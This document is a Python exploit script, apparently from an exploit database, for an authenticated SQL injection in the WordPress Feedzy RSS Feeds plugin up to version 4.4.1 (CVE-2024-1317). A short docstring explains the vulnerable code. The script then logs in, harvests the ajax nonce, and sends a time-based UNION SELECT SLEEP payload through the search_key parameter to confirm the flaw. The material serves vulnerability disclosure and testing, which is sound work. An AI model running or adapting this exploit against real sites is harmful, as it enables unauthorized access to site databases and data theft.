Share
## https://sploitus.com/exploit?id=PACKETSTORM:226467
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Feedzy RSS Feeds <= 4.4.1 - Authenticated (Author+) SQL Injection
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/feedzy-rss-feeds/
# Software Link: https://downloads.wordpress.org/plugin/feedzy-rss-feeds.4.4.1.zip
# Version: 4.4.1 (REQUIRED)
# Tested on: WordPress 6.1.1, PHP 7.4, MariaDB 10.6 (Docker, Debian / Linux)
# CVE : CVE-2024-1317
"""
Feedzy RSS Feeds <= 4.4.1 dispatches the admin-ajax action `feedzy`
(includes/admin/feedzy-rss-feeds-import.php:985 ajax()) with ONLY a nonce check
(check_ajax_referer(FEEDZY_BASEFILE,'security')) and no capability check. The
fetch_custom_fields sub-action reads `search_key` via filter_input(INPUT_POST, FILTER_UNSAFE_RAW)
(bypassing WordPress slashing) and concatenates it raw into the prepare() FORMAT STRING
(import.php:2633):
$search_key = filter_input(INPUT_POST,'search_key',FILTER_UNSAFE_RAW); // unsanitized, raw
$like = " AND $wpdb->postmeta.meta_key LIKE '%$search_key%'";
$wpdb->get_results($wpdb->prepare("SELECT DISTINCT(...meta_key) FROM ... $like LIMIT 0,9999", $post_type));
Because $like is in the template (not an argument) and the quote is delivered raw, `search_key`
injects into a single-quoted LIKE -> SQL injection. A single %27 suffices (no %2527).
Payload: zzz%' UNION SELECT SLEEP(5)-- -
Prior state: any account that can open the feedzy import editor (post-new.php?post_type=
feedzy_imports) to harvest the `security` nonce (feedzy.ajax.security). In practice Author+ (a
Contributor cannot render that screen). The ajax sink itself performs no capability check.
"""
import argparse, sys, re, time
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="e.g. http://localhost:8091")
ap.add_argument("--user", default="fza")
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
ap.add_argument("--sleep", type=int, default=5)
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
s.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
"redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
h = s.get(base + "/wp-admin/post-new.php?post_type=feedzy_imports").text
m = re.search(r'"security":"([a-z0-9]{10})"', h) or re.search(r'security["\']?\s*[:=]\s*["\']([a-z0-9]{10})', h)
nonce = m.group(1) if m else None
if not nonce:
print("[-] could not harvest feedzy 'security' nonce (need Author+ to render the editor)")
return 1
print(f"[*] Target: {base} | user: {args.user} | security nonce: {nonce}")
def probe(sec):
d = {"action": "feedzy", "_action": "fetch_custom_fields", "post_type": "post",
"security": nonce, "search_key": "zzz%' UNION SELECT SLEEP(" + str(sec) + ")-- -"}
t = time.time()
r = s.post(base + "/wp-admin/admin-ajax.php", data=d, timeout=60)
return time.time() - t, r.status_code
t0, c0 = probe(0)
t5, c5 = probe(args.sleep)
print(f"[*] SLEEP(0): {t0:.2f}s (http {c0}) | SLEEP({args.sleep}): {t5:.2f}s (http {c5})")
if c5 == 200 and (t5 - t0) >= args.sleep - 1.5:
print(f"\n[+] SQL INJECTION CONFIRMED โ attacker-controlled SLEEP({args.sleep}) delayed the "
f"response by {t5 - t0:.2f}s (search_key param, feedzy fetch_custom_fields).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())